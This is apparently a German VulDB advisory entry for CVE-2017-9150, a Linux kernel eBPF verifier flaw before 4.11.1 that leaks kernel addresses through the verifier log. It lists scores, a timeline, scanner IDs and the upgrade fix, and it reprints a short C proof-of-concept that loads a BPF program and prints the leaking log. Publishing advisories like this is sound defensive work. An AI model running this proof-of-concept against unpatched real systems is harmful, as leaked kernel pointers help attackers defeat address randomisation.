Linux Kernel bis 4.11.0 eBPF Verifier Log kernel/bpf/verifier.c print_bpf_insn System Calls Information Disclosure

CVSS Meta Temp ScoreAktueller Exploitpreis (≈)CTI Interest Score
4.2$0-$5k0.00

Zusammenfassunginfo

Es wurde eine problematische Schwachstelle in Linux Kernel bis 4.11.0 ausgemacht. Hierbei geht es um die Funktion print_bpf_insn der Datei kernel/bpf/verifier.c der Komponente eBPF Verifier Log. Die Veränderung im Kontext von System Calls resultiert in Information Disclosure. Eine eindeutige Identifikation der Schwachstelle wird mit CVE-2017-9150 vorgenommen. Der Angriff muss lokal angegangen werden. Zusätzlich gibt es einen verfügbaren Exploit. Die Aktualisierung der betroffenen Komponente wird empfohlen.

Detailsinfo

In Linux Kernel bis 4.11.0 (Operating System) wurde eine Schwachstelle gefunden. Sie wurde als problematisch eingestuft. Dabei geht es um die Funktion print_bpf_insn der Datei kernel/bpf/verifier.c der Komponente eBPF Verifier Log. Mittels dem Manipulieren durch System Calls kann eine Information Disclosure-Schwachstelle ausgenutzt werden. CWE definiert das Problem als CWE-200. Auswirken tut sich dies auf die Vertraulichkeit. Die Zusammenfassung von CVE lautet:

The do_check function in kernel/bpf/verifier.c in the Linux kernel before 4.11.1 does not make the allow_ptr_leaks value available for restricting the output of the print_bpf_insn function, which allows local users to obtain sensitive address information via crafted bpf system calls.

Die Entdeckung des Problems geschah am 05.05.2017. Die Schwachstelle wurde am 22.05.2017 (Website) öffentlich gemacht. Das Advisory findet sich auf exploit-db.com. Die Verwundbarkeit wird seit dem 22.05.2017 als CVE-2017-9150 geführt. Der Angriff muss lokal angegangen werden. Das Ausnutzen erfordert eine einfache Authentisierung. Es sind technische Details sowie ein öffentlicher Exploit zur Schwachstelle bekannt. Diese Schwachstelle wird durch das MITRE ATT&CK als Angriffstechnik T1592 bezeichnet.

Ein öffentlicher Exploit wurde durch Google Security Research in ANSI C realisiert und sofort nach dem Advisory veröffentlicht. Unter exploit-db.com wird der Exploit bereitgestellt. Er wird als proof-of-concept gehandelt. Mindestens 17 Tage galt die Schwachstelle als nicht öffentlicher Zero-Day. Während dieser Zeit erzielte er wohl etwa $0-$5k auf dem Schwarzmarkt. Für den Vulnerability Scanner Nessus wurde am 09.06.2017 ein Plugin mit der ID 100711 (openSUSE Security Update : the Linux Kernel (openSUSE-2017-666)) herausgegeben, womit die Existenz der Schwachstelle geprüft werden kann. Es wird der Family SuSE Local Security Checks zugeordnet und im Kontext l ausgeführt. Der kommerzielle Vulnerability Scanner Qualys bietet das Plugin 196819 (Ubuntu Security Notification for Linux-meta-raspi2, Linux-raspi2 Vulnerabilities (USN-3325-1)) zur Prüfung der Schwachstelle an. Der durch den Exploit genutzte Code gestaltet sich wie folgt:

int main(void) {
  union bpf_attr create_map_attrs = {
    .map_type = BPF_MAP_TYPE_ARRAY,
    .key_size = 4,
    .value_size = 1,
    .max_entries = 1
  };
  int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
  if (mapfd == -1)
    err(1, "map create");
 
  struct bpf_insn insns[] = {
    BPF_LD_MAP_FD(BPF_REG_0, mapfd),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN()
  };
  char verifier_log[10000];
  union bpf_attr create_prog_attrs = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = ARRSIZE(insns),
    .insns = (uint64_t)insns,
    .license = (uint64_t)"",
    .log_level = 1,
    .log_size = sizeof(verifier_log),
    .log_buf = (uint64_t)verifier_log
  };
  int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
  if (progfd == -1)
    err(1, "prog load");
 
  puts(verifier_log);
}

Ein Aktualisieren auf die Version 4.11.1 vermag dieses Problem zu lösen. Das Erscheinen einer Gegenmassnahme geschah 3 Wochen nach der Veröffentlichung der Schwachstelle. Linux hat damit knapp im Rahmen gehandelt.

Unter anderem wird der Fehler auch in den Datenbanken von Exploit-DB (42048), Tenable (100711) und SecurityFocus (BID 98635†) dokumentiert. Die Schwachstellen VDB-101269, VDB-101388, VDB-106244 und VDB-106245 sind ähnlich. Be aware that VulDB is the high quality source for vulnerability data.

Produktinfo

Typ

Hersteller

Name

Version

Lizenz

Webseite

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍

CVSSv3info

VulDB Meta Base Score: 4.4
VulDB Meta Temp Score: 4.2

VulDB Base Score: 3.3
VulDB Temp Score: 3.0
VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍

NVD Base Score: 5.5
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VektorKomplexitätAuthentisierungVertraulichkeitIntegritätVerfügbarkeit
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Zuverlässigkeit: 🔍

NVD Base Score: 🔍

Exploitinginfo

Klasse: Information Disclosure
CWE: CWE-200 / CWE-284 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍

Physisch: Teilweise
Lokal: Ja
Remote: Nein

Verfügbarkeit: 🔍
Zugang: öffentlich
Status: Proof-of-Concept
Autor: Google Security Research
Programmiersprache: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Preisentwicklung: 🔍
Aktuelle Preisschätzung: 🔍

0-Dayfreischaltenfreischaltenfreischaltenfreischalten
Heutefreischaltenfreischaltenfreischaltenfreischalten

Nessus ID: 100711
Nessus Name: openSUSE Security Update : the Linux Kernel (openSUSE-2017-666)
Nessus Datei: 🔍
Nessus Risiko: 🔍
Nessus Family: 🔍
Nessus Context: 🔍

OpenVAS ID: 850584
OpenVAS Name: SuSE Update for the openSUSE-SU-2017:1513-1 (the)
OpenVAS Datei: 🔍
OpenVAS Family: 🔍

Qualys ID: 🔍
Qualys Name: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfo

Interesse: 🔍
Aktive Akteure: 🔍
Aktive APT Gruppen: 🔍

Gegenmassnahmeninfo

Empfehlung: Upgrade
Status: 🔍

Reaktionszeit: 🔍
0-Day Time: 🔍
Exposure Time: 🔍
Exploit Delay Time: 🔍

Upgrade: Kernel 4.11.1
Patch: git.kernel.org

Timelineinfo

05.05.2017 🔍
22.05.2017 +17 Tage 🔍
22.05.2017 +0 Tage 🔍
22.05.2017 +0 Tage 🔍
22.05.2017 +0 Tage 🔍
22.05.2017 +0 Tage 🔍
22.05.2017 +0 Tage 🔍
23.05.2017 +1 Tage 🔍
08.06.2017 +16 Tage 🔍
09.06.2017 +1 Tage 🔍
21.12.2024 +2752 Tage 🔍

Quelleninfo

Hersteller: kernel.org

Advisory: 0d0e57697f162da4aa218b5feafe614fb666db07
Status: Bestätigt
Bestätigung: 🔍

CVE: CVE-2017-9150 (🔍)
GCVE (CVE): GCVE-0-2017-9150
GCVE (VulDB): GCVE-100-101623
SecurityFocus: 98635 - Linux Kernel CVE-2017-9150 Local Information Disclosure Vulnerability
OSVDB: - CVE-2017-9150 - Linux - Information Disclosure Issue

scip Labs: https://www.scip.ch/?labs.20161013
Siehe auch: 🔍

Eintraginfo

Erstellt: 23.05.2017 08:58
Aktualisierung: 21.12.2024 04:06
Anpassungen: 23.05.2017 08:58 (90), 03.10.2020 22:13 (6), 07.12.2022 07:34 (5), 21.12.2024 04:06 (14)
Komplett: 🔍
Cache ID: 216::103

Be aware that VulDB is the high quality source for vulnerability data.

Diskussion

Bisher keine Kommentare. Sprachen: de + en.

Bitte loggen Sie sich ein, um kommentieren zu können.

Might our Artificial Intelligence support you?

Check our Alexa App!